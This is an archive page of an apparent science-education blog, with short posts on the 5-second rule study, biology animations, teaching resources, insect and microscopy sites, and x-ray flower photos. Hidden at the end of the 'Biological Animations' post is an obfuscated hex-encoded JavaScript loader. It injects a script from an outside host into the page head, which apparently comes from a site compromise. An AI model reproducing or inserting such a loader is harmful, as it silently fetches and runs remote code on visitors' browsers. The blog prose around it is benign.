Category Archives: Uncategorized

The 5-Second Rule

Do you remember the “5-second rule”? Any food item dropped on the floor is “safe” to eat as long as it doesn’t remain on the floor for longer than five seconds before being picked up.

But is this actually a good rule to live by? A high school senior recently carried out a scientific study to find out whether or not the “5-second rule” was a good measure of food safety. The work was done during a seven-week internship at the University of Illinois at Urbana-Champaign (check out the UIUC press release here).

What a great example of making science fun and accessible to everyone!

Biological Animations

I would like to start collecting links for useful biological animations. In teaching at the college-level, I have found it extremely useful to show students animations of various biological processes. Textbooks often come with CD-ROMs or web site access codes that give students access to various animations. However, there are a lot of great animations that are freely available on the web.

For example:

Please send me examples of any useful sites that you know of…and I will continue to post those that I find. var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)

LabPartners at LSUHSC

I received an e-mail the other day from Dan Huan who is the project leader for this project at the Louisiana State University Health Sciences Center (LSUHSC).He and his group have created a Web site that is a resource for teachers who are interested in covering clinical laboratory science in their classrooms. They have lesson plans, image banks, project ideas and instructions for building low cost digital microscopes for the classroom (approx. $100 to $150 each).

The Medical Center of Louisiana site also has suggestions for how to link up with a local health sciences lab.

Very Cool Bugs

While surfing the web I came across BugBios, a Web site that was created: “to help you really see insects for the miniature marvels they represent and to understand how intertwined our cultures have become with these alien creatures”.

The site contains:

  • Amazing insect photographs accompanied by informative descriptions
  • Cultural Entomology Digest – articles about insects in human culture
  • Educational resources
  • A list of links to other insect-related Web sites
  • Powers of Ten

    The Molecular Expressions Web site at Florida State University has a really cool interactive java tutorial to help get across the concept of orders of magnitude in relation to the relative size of objects in our world and universe:

    View the Milky Way at 10 million light years from the Earth. Then move through space towards the Earth in successive orders of magnitude until you reach a tall oak tree just outside the buildings of the National High Magnetic Field Laboratory in Tallahassee, Florida. After that, begin to move from the actual size of a leaf into a microscopic world that reveals leaf cell walls, the cell nucleus, chromatin, DNA and finally, into the subatomic universe of electrons and protons.

    In addition, this site has a plethora of information on microscopy, including a microscopy primer, a miscroscopy museum, a photo gallery and even a list of web resources. You an even try virtual microscopy with interactive java tutorials. For example, you can use scanning electron microscopy to get an up close look at a jellyfish or a gecko’s foot under the microscope.

    What makes a scientist?

    A recent survey in The Scientist “some 425 readers told [the magazine] about the influences that guided them to become scientists; they cited an average of three influential factors.” The results are published in the most recent issue of The Scientist, Volume 17, Issue 21, Nov. 3, 2003. (Free Registration is required to access the article on-line.) These influential factors are as follows:

    Innate curiosity – 70%
    Teacher at secondary school – 46%
    Parents – 46%
    Teacher at university of college – 45%
    Book(s) that I read – 39%
    TV or radio program(s) – 18%
    Other family member – 12%
    Other person – 9%
    Other influence 9%
    Teacher in early life – 8%

    “The Secret Garden”

    The image to the left is an x-ray image of a columbine. The “secret garden” is a collection of x-ray images of flowers have been taken by Albert Richards, a University of Michigan Professor Emeritus, over the past forty years. Check out the rest of his images at his on-line photo gallery.

    Dr. Richards describes his collection as follows:

    “Flowers speak for us in many ways. On happy occasions we send flowers to express our joy and on sad occasions to express our sorrow. Almost everyone is fond of flowers, but they may never see the secret beauty that lies hidden within the blossoms. When we close our eyes, we cannot see the beautiful flowers around us. Even with our eyes wide open, we see only that portion of the flower that is nearest us, the same portion that would be recorded by a camera.”

    Math and Science Across Cultures

    I discovered a relatively new publication while exploring the Exploratorium web site. Maurice Bazin, Modesto Tamez and the Exploratorium Teacher Institute have written a book that allows you to:

    “Explore math- and science-related concepts and techniques drawn from everyday life around the world. Using simple, inexpensive materials, teachers join students in making and using information-gathering tools, identifying patterns, interpreting data, and using logic to unravel puzzles.” (description taken from the Exploratorium store web site)

    I haven’t actually seen a copy of the book, but you can view the table of contents and a sample activity at the Exploratorium store site. It sounds like a really great way to help make science and math more accessible to students! I can’t wait to get myself a copy…

    This book is also available through as well as (for those of you interested in finding used copies).